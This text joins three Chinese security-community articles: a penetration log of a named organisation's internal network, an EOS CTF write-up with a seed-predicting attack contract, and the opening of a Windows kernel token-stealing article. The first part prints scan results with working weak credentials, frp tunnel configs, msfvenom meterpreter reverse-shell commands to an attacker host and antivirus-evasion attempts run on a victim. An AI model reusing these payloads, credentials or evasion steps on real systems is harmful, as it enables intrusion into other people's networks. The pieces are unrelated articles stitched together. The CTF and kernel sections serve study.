172.16.2.138:22 open
172.16.2.120:80 open
172.16.2.84:80 open
172.16.2.81:80 open
172.16.2.85:80 open
172.16.2.86:80 open
172.16.2.70:80 open
172.16.2.60:80 open
172.16.2.87:22 open
172.16.2.11:135 open
172.16.2.20:135 open
172.16.2.5:135 open
172.16.2.83:80 open
172.16.2.200:80 open
172.16.2.170:80 open
172.16.2.82:80 open
172.16.2.117:80 open
172.16.2.11:139 open
172.16.2.20:139 open
172.16.2.9:139 open
172.16.2.5:139 open
172.16.2.195:135 open
172.16.2.190:135 open
172.16.2.100:135 open
172.16.2.84:135 open
172.16.2.195:139 open
172.16.2.190:139 open
172.16.2.170:139 open
172.16.2.150:139 open
172.16.2.120:139 open
172.16.2.100:139 open
172.16.2.84:139 open
172.16.2.60:139 open
172.16.2.84:443 open
172.16.2.85:443 open
172.16.2.86:443 open
172.16.2.80:443 open
172.16.2.72:443 open
172.16.2.70:443 open
172.16.2.60:443 open
172.16.2.11:443 open
172.16.2.87:443 open
172.16.2.9:445 open
172.16.2.5:445 open
172.16.2.170:443 open
172.16.2.83:443 open
172.16.2.120:443 open
172.16.2.82:443 open
172.16.2.81:443 open
172.16.2.170:445 open
172.16.2.150:445 open
172.16.2.120:445 open
172.16.2.100:445 open
172.16.2.84:445 open
172.16.2.60:445 open
172.16.2.20:445 open
172.16.2.11:445 open
172.16.2.5:5432 open
172.16.2.138:3306 open
172.16.2.38:3306 open
172.16.2.195:1433 open
172.16.2.190:1433 open
172.16.2.11:1433 open
172.16.2.195:445 open
172.16.2.190:445 open
172.16.2.100:8080 open
172.16.2.45:8080 open
172.16.2.9:135 open
172.16.2.86:8000 open
172.16.2.80:80 open
172.16.2.200:5432 open
172.16.2.111:5432 open
172.16.2.120:8080 open
172.16.2.150:9000 open
172.16.2.9:5432 open
172.16.2.85:8000 open
[+] received output:
172.16.2.20:88 open
[+] received output:
172.16.2.100:1099 open
172.16.2.80:2020 open
172.16.2.11:3128 open
172.16.2.120:3128 open
[+] received output:
172.16.2.11:7070 open
172.16.2.70:7070 open
172.16.2.100:7070 open
172.16.2.84:7070 open
172.16.2.100:8009 open
[+] received output:
172.16.2.120:8081 open
172.16.2.100:8083 open
172.16.2.80:8084 open
[+] received output:
172.16.2.72:8200 open
172.16.2.86:8300 open
172.16.2.85:8300 open
172.16.2.20:8443 open
[+] received output:
172.16.2.86:9080 open
172.16.2.85:9080 open
172.16.2.80:9084 open
172.16.2.80:9087 open
[+] received output:
172.16.2.150:9443 open
172.16.2.84:10001 open
172.16.2.84:10002 open
[+] received output:
[*] alive ports len is: 120
start vulscan
[*] NetInfo:
[*]172.16.2.100
[->]AMEPROWEBEGAD
[->]172.16.2.100
[*] NetInfo:
[*]172.16.2.84
[->]ame-ro-nas
[->]172.16.2.84
[*] NetInfo:
[*]172.16.2.5
[->]db_ame
[->]172.16.2.5
[*] NetInfo:
[*]172.16.2.9
[->]backu
[->]172.16.2.9
[*] NetInfo:
[*]172.16.2.11
[->]Srv-Ant-Kas1
[->]172.16.2.11
[*] WebTitle: https://172.16.2.11 code:200 len:102 title:None
[*] 172.16.2.9 (Windows Server 2003 3790 Service Pack 2)
[*] WebTitle: http://172.16.2.117 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works
[*] NetBios: 172.16.2.190 AMEPRODBSIG01.ame.local Windows Server 2016 Standard 14393
[*] NetBios: 172.16.2.11 Srv-Ant-Kas1.ame.local Windows Server 2012 Standard 9200
[*] NetBios: 172.16.2.9 backup.ame.local Windows Server 2003 3790 Service Pack 2
[*] WebTitle: https://172.16.2.82 code:302 len:222 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82/restgui/start.html
[*] WebTitle: http://172.16.2.120:3128 code:400 len:3157 title:ERROR: The requested URL could not be retrieved
[*] WebTitle: http://172.16.2.200 code:403 len:4897 title:Apache HTTP Server Test Page powered by CentOS
[*] WebTitle: http://172.16.2.84 code:401 len:0 title:None
[*] WebTitle: https://172.16.2.87 code:200 len:83 title:None
[+] Postgres:172.16.2.200:5432:postgres 123456
[*] WebTitle: http://172.16.2.80 code:301 len:0 title:None ÞÀ│Þ¢¼url: https://172.16.2.80:443/
[*] WebTitle: http://172.16.2.82 code:302 len:208 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82:443/
[*] 172.16.2.100 (Windows 10 Pro 19044)
[*] WebTitle: http://172.16.2.11 code:302 len:0 title:None ÞÀ│Þ¢¼url: https://172.16.2.11/
[*] WebTitle: http://172.16.2.83 code:302 len:208 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83:443/
[*] WebTitle: http://172.16.2.86 code:301 len:56 title:None ÞÀ│Þ¢¼url: https://172.16.2.86/
[*] WebTitle: http://172.16.2.81 code:302 len:208 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81:443/
[*] WebTitle: http://172.16.2.100:8083 code:404 len:0 title:None
[*] NetBios: 172.16.2.195 AMEPRODBSIG01P.ame.local Windows Server 2016 Standard 14393
[*] WebTitle: http://172.16.2.11:3128 code:404 len:196 title:404 Not Found
[*] WebTitle: https://172.16.2.83 code:302 len:222 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83/restgui/start.html
[*] WebTitle: https://172.16.2.86 code:200 len:258 title:None
[*] WebTitle: https://172.16.2.70 code:200 len:4149 title:Management
[*] WebTitle: http://172.16.2.150:9000 code:200 len:3509 title:Twonky Server
[*] WebTitle: https://172.16.2.85 code:200 len:258 title:None
[*] WebTitle: http://172.16.2.70 code:302 len:265 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.70/
[*] WebTitle: https://172.16.2.20:8443 code:302 len:83 title:None ÞÀ│Þ¢¼url: https://172.16.2.20:8443/Login/Index
[*] WebTitle: https://172.16.2.72 code:301 len:84 title:None ÞÀ│Þ¢¼url: https://172.16.2.72/appwall-webui
[*] WebTitle: https://172.16.2.80 code:200 len:3618 title:" + ID_VC_Welcome + "
[*] WebTitle: https://172.16.2.81 code:302 len:222 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81/restgui/start.html
[*] WebTitle: http://172.16.2.120 code:200 len:553 title:None
[*] WebTitle: http://172.16.2.37 code:302 len:0 title:None ÞÀ│Þ¢¼url: http://172.16.2.37/app_Login
[*] WebTitle: https://172.16.2.80:8084 code:501 len:0 title:None
[*] NetBios: 172.16.2.170 AME\SYNOLOGYAME
[*] WebTitle: https://172.16.2.86:9080 code:202 len:0 title:None
[*] WebTitle: https://172.16.2.120 code:200 len:553 title:None
[*] WebTitle: https://172.16.2.120:8081 code:403 len:266 title:403 Forbidden
[*] WebTitle: https://172.16.2.80:9087 code:404 len:103 title:None
[*] WebTitle: http://172.16.2.80:9084 code:404 len:103 title:None
[*] WebTitle: http://172.16.2.45:8080 code:303 len:0 title:None ÞÀ│Þ¢¼url: http://172.16.2.45:8080/home.htm
[*] WebTitle: https://172.16.2.60 code:200 len:6391 title:None
[*] WebTitle: http://172.16.2.60 code:200 len:6391 title:None
[*] WebTitle: http://172.16.2.120:8080 code:403 len:266 title:403 Forbidden
[+] 172.16.2.5 MS17-010 (Windows Server 2003 3790 Service Pack 2)
[*] WebTitle: http://172.16.2.170 code:200 len:543 title:None
[*] 172.16.2.84 (Windows Storage Server 2016 Standard 14393)
[*] WebTitle: http://172.16.2.85 code:301 len:56 title:None ÞÀ│Þ¢¼url: https://172.16.2.85/
[*] 172.16.2.120 (Unix)
[*] 172.16.2.150 (Windows 6.1)
[*] 172.16.2.60 (Windows 6.1)
[*] NetBios: 172.16.2.120 NVR\NVRAME Unix
[*] NetBios: 172.16.2.84 ame-pro-nas.ame.local Windows Storage Server 2016 Standard 14393
[*] NetBios: 172.16.2.60 AME\nas-60 Windows 6.1
[*] WebTitle: https://172.16.2.170 code:200 len:543 title:None
[+] received output:
[*] WebTitle: https://172.16.2.85/ code:200 len:258 title:None
[*] WebTitle: https://172.16.2.86/ code:200 len:258 title:None
[*] WebTitle: https://172.16.2.11/ code:200 len:102 title:None
[*] WebTitle: https://172.16.2.80:443/ code:200 len:3618 title:" + ID_VC_Welcome + "
[*] WebTitle: https://172.16.2.70/ code:200 len:4149 title:Management
[*] WebTitle: https://172.16.2.20:8443/Login/Index code:200 len:2839 title:Zentyal
[*] WebTitle: https://172.16.2.85:9080 code:202 len:0 title:None
[*] WebTitle: http://172.16.2.70:7070 code:404 len:201 title:None
[*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458 title:None
[+] InfoScan:https://172.16.2.80 [VMware vSphere]
[*] WebTitle: https://172.16.2.83/restgui/start.html code:200 len:2458 title:None
[*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458 title:None
[*] WebTitle: http://172.16.2.72:8200 code:301 len:0 title:None ÞÀ│Þ¢¼url: http://172.16.2.72:8200/Console/
[*] WebTitle: http://172.16.2.72:8200/Console/ code:404 len:0 title:None
[*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458 title:None
[*] NetBios: 172.16.2.150 wdmycloud Windows 6.1
[+] InfoScan:https://172.16.2.80:443/ [VMware vSphere]
[*] WebTitle: https://172.16.2.72/appwall-webui/ code:200 len:4366 title:Radware Security Console
[*] WebTitle: http://172.16.2.45:8080/logon.htm code:200 len:2872 title:APC | Log On
[*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458 title:None
[*] WebTitle: http://172.16.2.37/app_Login/ code:200 len:860 title:None
[+] received output:
ÕÀ▓Õ«îµêÉ 65/121 [-] ftp://172.16.2.45:21 wwwroot 123456!a 421 Service not available, closing control connection.
[+] received output:
ÕÀ▓Õ«îµêÉ 109/121 [-] ssh 172.16.2.87:22 root a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] received output:
[+] SSH:172.16.2.87:22:admin admin
[+] received output:
ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.70:22 admin test ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] received output:
ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.150:22 admin a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] received output:
ÕÀ▓Õ«îµêÉ 113/121 [-] ssh 172.16.2.38:22 admin abc123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] received output:
ÕÀ▓Õ«îµêÉ 114/121 [-] ssh 172.16.2.117:22 admin 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] received output:
ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 wwwroot 1 Permission denied.
[+] received output:
ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data 123456 Permission denied.
[+] received output:
ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data sysadmin Permission denied.
[+] received output:
ÕÀ▓Õ«îµêÉ 121/121
[*] µë½µÅÅþ╗ôµØƒ,ÞÇùµùÂ: 10m41.0832671s
2、fscan扫描出来的漏洞，一处postgres弱口令，一处ms17-010，一处ssh弱口令
Postgres:172.16.2.200:5432:postgres 123456
172.16.2.5 MS17-010 (Windows Server 2003 3790 Service Pack 2)
SSH:172.16.2.87:22:admin admin
### frp代理
1、由于无法提权成功，所以我们决定换一种思路，先拿下内网中其他主机，提权到管理员权限，最后再对域控渗透。
2、服务器frps.ini设置
[common]
bind_addr = 0.0.0.0
bind_port = 7080
token = admin123
dashboard_user = admin
dashboard_pwd = admin123
3、启动服务端
./frps -c ./frps.ini
4、frpc.ini配置如下
[common]
server_addr = xx.xx.xx.xx
server_port = 7080
token = admin123
tls_enable=true
pool_count=5
[plugin_socks]
type = tcp
remote_port = 4566
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true
5、将frpc.exe和frpc.ini上传到受害机
6、CS中运行命令
shell "C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.exe -c C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.ini"
7、在服务器上可以看到，已经有连接返回了
8、在攻击机火狐浏览器foxyproxy插件中配置代理服务器
9、在火狐浏览器中访问<https://172.16.2.72/appwall-webui/成功，说明frp内网穿透成功>
10、为了方便测试，使用`proxifier`作为全局代理
### msf上线
1、因为扫出来一个ms17010，所以我们需要针对此漏洞进行利用，我选用目前公开的一些工具，虽然都没有免杀，但还是记录一下
#### kali linux
1、kali
Linux中设置proxychains后无法使用，也没有找到原因，因为proxychains只支持http代理，我搭建的环境可以，但真实环境就不得行，搞不懂，有知道的大佬请指点一二，在下感激不尽！
#### 潮汐在线免杀
1、Metasploit 生成 C
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c
3、将生成的shellcode添加到潮汐shellcode免杀中，生成exe文件
4、上传执行后被杀软杀掉
#### Ant-AntV免杀
1、msf生成bin文件
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=5555 -f raw -o 1.bin
2、将`1.bin`放到当前bean_raw路径下。执行`python3 gen_trojan.py`即可在当前dist目录下生成exe文件。
3、将exe文件上传到目标机器，执行`shell
C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/mail_update_a50ca.exe`无法成功反弹shell，应该是被杀软杀了，因为我本地测试可以正常反弹
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.123.33
set LPORT 5555
exploit
#### CuiRi免杀
1、msf生成shellcode
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c
2、生成免杀马
.\cuiri_win64.exe -f msf.txt
3、将生成的木马上传到目标主机，执行`shell
C:\usr\desarrollo\jboss-5.1.0.GA\server\sigAmeServer\deploy\ROOT.war\main.exe`无法反弹shell，本地测试也是无法反弹shell
#### AniYa免杀
1、生成免杀马
2、将exe文件上传执行，无法绕过杀软，在本地测试可以成功上线
### Postgresql getshell
1、由于msf无法绕过杀软，我们决定从Postgresql入手，寻找突破点
2、开启`proxifier`代理工具
3、使用navicat连接postgresql
4、但是该机器是centos系统，我们要找的是Windows系统，所以先放弃这条路。
### VMware vSphere
1、有网站使用的是VMware vSphere
2、Google搜索一下VMware vSphere漏洞，有的版本存在RCE漏洞，决定尝试一下，发现不存在漏洞
# 总结
1、针对此次内网渗透，我需要抓紧学习免杀相关的知识，目前公开的工具已经不能byAV。
2、kali Linux的proxychains代理在实战无法使用，后面我要去寻找原因。
3、fscan扫描出内网一些网站，我没有做深入的测试，因为时间确实不够了。 | 社区文章 |
# Easy EOS from De1CTF2019
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 逃得了初一是逃不过十五，终于在一次CTF中邂逅了 EOS 的相关题目
详细的题目描述可以参考已经发布的官方 wp
虽然说已经发布了 writeup，但由于其太过简练，没有接触的朋友们可能难以弄的很懂，由于我也是比赛后期通过部署链上公开的攻击代码得以get
flag的，这里就与大伙一起把这题弄得明白一点
稳重前面几部分都是写给没有接触过eos平台的读者的，若有一定基础则可以直接浏览后文🙏有疑惑的，都可以在文末留言
## 前期准备
有许多接触过区块链类型题目的伙伴都会发现，原来题目并不麻烦，但是搭环境太愁人。相比以太坊的 geth ，EOS平台下提供有官方终端的 cleos
和写app用的 eosjs 两者都不是很好入门，而且这两者只是一个接口应用，并非像 geth 已经提供了整套虚拟机，如果要正式的应付
eosio，大概是需要下面的套餐
简而言之，cleos提供一个接口，有这个接口我们就可以与其他区块链全节点进行交互
1. 安装 cleos，这里可以参见官网，macos或者linux应该都较为方便，因为是做题，推荐直接安装pre-compiled的包而不是自己编译（亲测编译源码坑太多）
2. 安装 cdt (contract development toolkit)，这一步是可选，cdt并非上图栈中的一部分，是用于开发eos合约的，因为现阶段也有线上的工具，大抵就和以太坊下的remix差不多，会用就好这里不赘述了
3. 注册一个 [JUNGLE](https://jungletestnet.io/) 下的账户，参见官网流程即可，顺便到 facuet 领点 token 方便后续部署合约
## 观察目标合约
一般做以太坊的题目我会学我师父的用 [Etherscan](https://ropsten.etherscan.io/) 来初步探究，而 eos
下的区块链浏览器相较于以太坊更加丰富了（因为eos平台的交易量早就超过以太坊了啊），这里推荐使用
[blocks.io](https://jungle.bloks.io/account/de1ctf111eos?loadContract=true&tab=Tables&account=de1ctf111eos&scope=de1ctf111eos&limit=100&table=users)
功能较全也比较好看
已知目标合约
* 合约用户名为 de1ctf111eos （这里啰嗦一下，EOS平台下一个用户和一个合约是一一对应的，不像以太坊里面有外部账户这种说法
* 合约环境 Jungle Testnet 2.0
目标：You need to win at least 10 times，而且中途一旦输一次这个账户就不能接着玩了
我们从区块链浏览器里扒下这些信息
(1) 合约的外部函数
可以看到这里有 bet 和 sendmail
两个函数（同时大家也看到了可以在这里直接进行交易的提交，但由于我这里网速实在不好，一直弄不好scatter钱包所以没尝试，大家或许可以玩玩）
(2) 合约的数据表
可以看到这里有三个 table，简单查看一下内容，或者
* mails表存放已经成功get flag对象及其邮箱
* seed表，如其名，应该是存放这生成随机数用的种子
* users表，存放了所有参与玩家的胜/败场次
信息收集大概够了，接下来我们介绍也就是官方给出的两种思路，随机数攻击和回滚攻击，本篇文章我们单介绍随机数破译
## 随机数攻击
既然是赌博游戏而且要求不输，自然就是“出老千”，如果能够逆向合约预判每一次的结果，那就可以战无不胜了。
做合约逆向前可以先学习一下这几篇博客
(1) [wasm汇编入门](https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format)
(2) [静态逆向 wasm 的一些基础](https://xz.aliyun.com/t/5170)
(3) [合约逆向初探](https://www.bunnypub.net/zh-cn/water/topics/98321)（注意其中的 name
转化脚本可以学习）
另外可以用的工具的话好像网上有提供 idawasm 插件，radare2，和 jeb，不过这里我就只是使用 VS Code
来纯人工逆向了（工具集现在都没有很成型）
首先我们通过 apply 函数以及 execute 函数定位到外部函数 bet 的代码主体（部分）
(func $f64 (type $t23) (param $p0 i32) (param $p1 i64) (param $p2 i32)
(local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32)
get_global $g0
i32.const 32
i32.sub
tee_local $l0
set_global $g0
get_local $l0
get_local $p1
i64.store offset=24
get_local $p1
call $env.require_auth
get_local $p0
i32.const 5
call $f66 ;; update seed and get bet
set_local $l1
get_local $p0
.........( 省略 N 行 ）.........
block $B7
get_local $l1
get_local $p2
i32.ne ;; seed compare
br_if $B7
get_local $l0
get_local $l0
i32.const 16
i32.add
i32.store offset=8
..............................
get_local $l2
get_local $l5
get_local $p1
get_local $l0
i32.const 8
i32.add
call $f69
get_local $l0
i32.const 32
i32.add
set_global $g0
return
end
get_local $l2
get_local $l5
get_local $p1
get_local $l0
i32.const 8
i32.add
call $f70
get_local $l0
i32.const 32
i32.add
set_global $g0)
观察代码后如果能基本逆向浓缩到这一步，基本快要接近成功了；（wast栈代码实在是非常啰嗦，就上下滑就已经十分辛苦了，这里没有代码高亮的支持大家就凑合的看好了）
从头往下看到的第一个函数调用即 call $f66
是一个关键函数，跟进后可以发现其函数内完成了新一轮随机种子计算并返回了一个结果，大概率该结果就是猜测的值了）
让我们比较细心的看一看这个 $f66
(func $f66 (type $t4) (param $p0 i32) (param $p1 i32) (result i32)
(local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i64)
..............................
block $B0
block $B1
get_local $p0
i64.load offset=72 ;; memory{p0 + 72}
get_local $p0
i32.const 80
i32.add
i64.load ;; memory{p0 + 80}
i64.const -4425754204123955200 ;; name{seed} 这里查 seed 作为表名
i64.const 0 ;; key 键值
call $env.db_lowerbound_i64 ;; 返回 seed 表的 <=== (1)
tee_local $l2
i32.const 0
i32.lt_s
br_if $B1
get_local $l1
get_local $l2
call $f79 ;; <=== (2)
set_local $l2
br $B0
end
get_local $l0
i32.const 8
i32.add
get_local $l1
get_local $p0
i64.load
get_local $l0
call $f80 ;; <=== (3)
get_local $l0
i32.load offset=12
set_local $l2
end
get_local $l0 ;; *
get_local $l2 ;; *
i32.load offset=8 ;; *
call $f62 ;; <=== (4) *
i64.const 1000000 ;; *
i64.div_s ;; *
i32.wrap/i64 ;; *
i32.add ;; *
i32.const 65537 ;; *
i32.rem_u ;; *
i32.store offset=8 ;; *
get_local $p0
i64.load
set_local $l3
get_local $l0
get_local $l0
i32.const 8
i32.add
i32.store
block $B2
get_local $l2
br_if $B2
i32.const 0
i32.const 8352
call $env.eosio_assert
end
get_local $l1
get_local $l2
get_local $l3
get_local $l0
call $f81 ;; <=== (5)
get_local $l0
i32.load offset=8
set_local $p0
get_local $l0
i32.const 16
i32.add
set_global $g0
get_local $p0
get_local $p1
i32.rem_u)
可以发现，该f66中存在有比较重要的 5 处 call （记于注释处）
我们一个一个地解释，
1. 这里有一个外部函数的调用 $env.db_lowerbound_i64 相当于是获得一个 iterator，这里通过name发现是seed表，基本确定是拿到种子的值；
2. 跟进逻辑我们可知当上一步取得的迭代器非负时，通过调用 $f79 从迭代器中取得具体的值，这一步函数跟下去比较麻烦了，算是一种假设
3. 而迭代器为负即seed表为空的时候， 通过 $f80 初始化该表
4. $f62 内部调用了 $env.current_time，通过查看wp以及测试和分析这个函数调用后的除 1000000 我们得知这里应该是调用 API current_time_point().sec_since_epoch() 即获取微秒时间戳后转化为秒
结合起来我们便可以推理得到新的 seed 的计算方法为 （记于注释 * 处）
`new_seed = (old_seed + current_time) % prime`
其中 prime 便是汇编中的 65537，最后的细节就是函数返回处有个 i32.rem_u，这里是对 5
取余数（5是调用时候传入的参数$p1)，所以比赛hint中告知了范围是 0 — 4
1. 简单跟进我们就可以发现最后调用的 $f81 中含有 $env.db_update_i64 ，应该就是将计算的新 seed 保存回表中了
破译由C++编写并以wasm呈现的合约难度还是相当大的，比赛过程中我并没有采取该方式，在赛后借助官方 writeup
才一步步剖析的代码，不过相信不远的将来，针对 EOS 逆向的利器也将问世，只不过在那之前，逆向合约多少有点辛苦就是了
## 编写攻击合约
写 eos 下的合约有好也有不好，首先基于 C++ 这让多数程序员感到会轻松，毕竟算比较大众的语言了；但是由于 EOS 本身相较于 以太坊
就要复杂不少，其合约编写中需要注意的如接口、权限以及等等相对来说要麻烦很多，再继续往下读之前，我建议读者有时间把官网中相关的 [Get
Start](https://developers.eos.io/eosio-home/docs) 篇章给过一遍，把基础打扎实
至少进行下一步之前，你需要明白了解如何在命令行中打开wallet，如何导入在 JUNGLE 中创建账户用的密钥以及基本的操作，这些操作请自行 google
我先给出标准（稍微简化）的答案一，注意以下测试都是针对测试合约 de1ctftest11 进行的
#include <eosio/eosio.hpp>
#include <eosio/system.hpp>
#define TARGET_ACCOUNT "de1ctftest11"
using namespace eosio;
class [[eosio::contract]] attack : public contract {
private:
int random(int oldseed, const int range){
// Generate new seed value using the existing seed value
int prime = 65537;
auto new_seed_value = (oldseed + (uint32_t)(eosio::current_time_point().sec_since_epoch())) % prime;
// Get the random result in desired range
int random_result = new_seed_value % range;
return random_result;
}
public:
using contract::contract;
attack( name receiver, name code, datastream<const char*> ds ):contract(receiver, code, ds){}
[[eosio::action]]
void makebet(int oldseed)
{
// Ensure this action is authorized by the player
require_auth(get_self());
int random_num = random(oldseed, 5);
print("make bet ", random_num);
action(
permission_level{get_self(),"active"_n}, //所需要的权限结构
name(TARGET_ACCOUNT), // 调用的合约名称
"bet"_n, // 合约的方法
std::make_tuple(get_self(), random_num) // 传递的参数
).send();
}
};
编译合约、抵押 RAM、部署合约、调整合约 eosio.code
权限等过程限于篇幅这里省略，建议大家在官网上学习并自行google，我这里就简单给命令介绍了
# 编译 attack.cpp 获得 attack.wasm 以及 attack.abi
eosio-cpp attack.cpp
# 抵押 RAM
cleos -u http://jungle2.cryptolions.io:80 system buyram aaatester123 aaatester123 "10.0000 EOS"
# 部署合约，这里使用 -u 指定一个全节点就不需要自己跑链了
cleos -u http://jungle2.cryptolions.io:80 set contract aaatester123 ./attack
# 调整 eosio.code 权限
cleos -u http://jungle2.cryptolions.io:80 set account permission aaatester123 active
'{"threshold" : 1, "keys" : [{"key":"你选的EOS公钥","weight":1}],
"accounts" : [{"permission":{"actor":"aaatester123","permission":"eosio.code"},"weight":1}]}' owner
-p aaatester123@owner
如果你以及通过了官网上的初步测试，则应该已经了解了 EOS 合约下的结构，这里我重复介绍以下
#include <eosio/eosio.hpp> // 核心库函数
using namespace eosio;
class [[eosio::contract]] attack : public contract {
public:
[[eosio::action]]
{...}
}
这里在 public 关键字下由 [[eosio::action]] 作为标记的函数就是对外暴露可调用的函数，类似于以太坊下的 public
function；我们看这个攻击合约内有唯一的可调用函数 makebet，其接收一个 int 类型的参数，即目标合约现有的 seed
值，我们一样可以在区块链浏览器上找到该值
函数的功能还是很显而易见的，就是基于传入的 oldseed 计算新的 seed 并向目标合约发交易，稍微要啰嗦的就是 EOS 中合约发送 inline
交易的代码要写成这样，相比 以太坊 中的 send 和 call 还是麻烦了很多，可以参考官网部分
action(
//permission_level,
//code,
//action,
//data
).send();
其中参数啥的还是自己取搜清楚把；接下来我们调用部署的合约；
# 已知现在的 seed value 为 45587，那么传入参数为 45587
cleos -u http://jungle2.cryptolions.io:80 push action aaatester123 makebet '{"oldseed":45587}' -p aaatester123@active
# 返回
# executed transaction: f672ad16a8f40d9f96a56b2eaabd4b719e2ae4c66aed0a9bf5bae8e9fc481219 96 bytes 206 us
# aaatester123 <= aaatester123::makebet {"oldseed":45587}
# >> make bet 0
# de1ctftest11 <= de1ctftest11::bet {"username":"aaatester123","num":0}
查看合约的 users 表发现我们成功得到了 win，这样子重复 10 次我们就可以稳稳当当的获取 10 次胜利！
当然，上面给出的是简化版本的攻击合约，标准的合约如下
#include <eosio/eosio.hpp>
#include <eosio/system.hpp>
#define TARGET_ACCOUNT "de1ctftest11"
using namespace eosio;
class [[eosio::contract]] attack : public contract {
private:
struct [[eosio::table]] seed {
uint64_t key = 1;
uint32_t value = 1;
auto primary_key() const { return key; }
};
typedef eosio::multi_index<name("seed"), seed> seed_table;
seed_table _seed;
int random(const int range){
// Find the existing seed
auto seed_iterator = _seed.begin();
// Initialize the seed with default value if it is not found
if (seed_iterator == _seed.end()) {
seed_iterator = _seed.emplace( _self, [&]( auto& seed ) { });
}
// Generate new seed value using the existing seed value
int prime = 65537;
auto new_seed_value = (seed_iterator->value + (uint32_t)(eosio::current_time_point().sec_since_epoch())) % prime;
// Get the random result in desired range
int random_result = new_seed_value % range;
return random_result;
}
public:
using contract::contract;
attack( name receiver, name code, datastream<const char*> ds ):contract(receiver, code, ds),
_seed(eosio::name(TARGET_ACCOUNT), eosio::name(TARGET_ACCOUNT).value) {}
[[eosio::action]]
void makebet()
{
// Ensure this action is authorized by the player
require_auth(get_self());
int random_num = random(5);
print("make bet ", random_num);
action(
permission_level{get_self(),"active"_n}, //所需要的权限结构
name(TARGET_ACCOUNT), // 调用的合约名称
"bet"_n, // 合约的方法
std::make_tuple(get_self(), random_num) // 传递的参数
).send();
}
};
该合约最大的不同是引入了 multi_index 表，简单来说就是直接在运行时查询 seed
的value而不用我们人工去查了，虽然显得复杂一些，但其原理还是比较简单，table等相关知识也在官网中有详细介绍，类似于以太坊中的 map 结构。
另外一种基于回滚攻击的方法我们放到另文介绍，感谢阅读😄 | 社区文章 |
# 【技术分享】探索基于Windows 10的Windows内核Shellcode（Part 1）
|
##### 译文声明
本文是翻译文章，文章来源：improsec.com
原文地址：<https://improsec.com/blog//windows-kernel-shellcode-on-windows-10-part-1>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[金乌实验室](http://bobao.360.cn/member/contribute?uid=2818394007)
预估稿费：140RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
****
**传送门**
[****](http://bobao.360.cn/learning/detail/3593.html)
[**【技术分享】探索基于Windows 10的Windows内核Shellcode（Part
2）**](http://bobao.360.cn/learning/detail/3593.html)
[**【技术分享】探索基于Windows 10的Windows内核Shellcode（Part
3）**](http://bobao.360.cn/learning/detail/3624.html)
[**【技术分享】探索基于Windows 10的Windows内核Shellcode（Part 4）**
****](http://bobao.360.cn/learning/detail/3643.html)
**
**
**前言**
当创建Windows内核漏洞利用时，目标通常都是希望以某种方式获得更高的权限，通常是SYSTEM权限。这部分的漏洞利用撰写是最后一个部分，由于在它之前还有很多的步骤，所以它通常不会被讨论到。我见过的最常用的方法是窃取特权进程的进程token，或者是删除特权进程的ACL。我自己经常遇到并使用的技术来源于Cesar
Cerrudo 2012年在Black Hat发表的演讲和技术白皮书（[地址](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)）。演示文稿和白皮书非常棒，值得大家阅读和学习。但是，在尝试运用白皮书中的方法时，出现了2个问题：首先，它只提供理论上的技术，不提供实际的shellcode；其次它是在Windows
8.1发布之前写的，时效性是个问题。
这是一个通常不被关注的领域，我想深入的去研究，并探知Cesar Cerrudo描述的这三种方法是否适用于Windows
10周年版。此外，我想开发出shellcode，实际的运行起来，并记录为了使这三种方法适用于Windows 10，可能需要做出的改变。
**分析**
在白皮书中，Cesar描述了下面三种方法：
替换进程token
清除ACL
启用权限
在这篇文章中，我将探讨如何替换进程token并获得SYSTEM权限，剩下的两种方法我将在后续的文章中和大家探讨。
替换进程token是最常见的两种方法之一，就像
Cesar所描述的，这个方法的原理是找到一个特权进程，并将该进程的token复制到当前进程。如果选择了任意特权进程，则使用此方法会导致bug
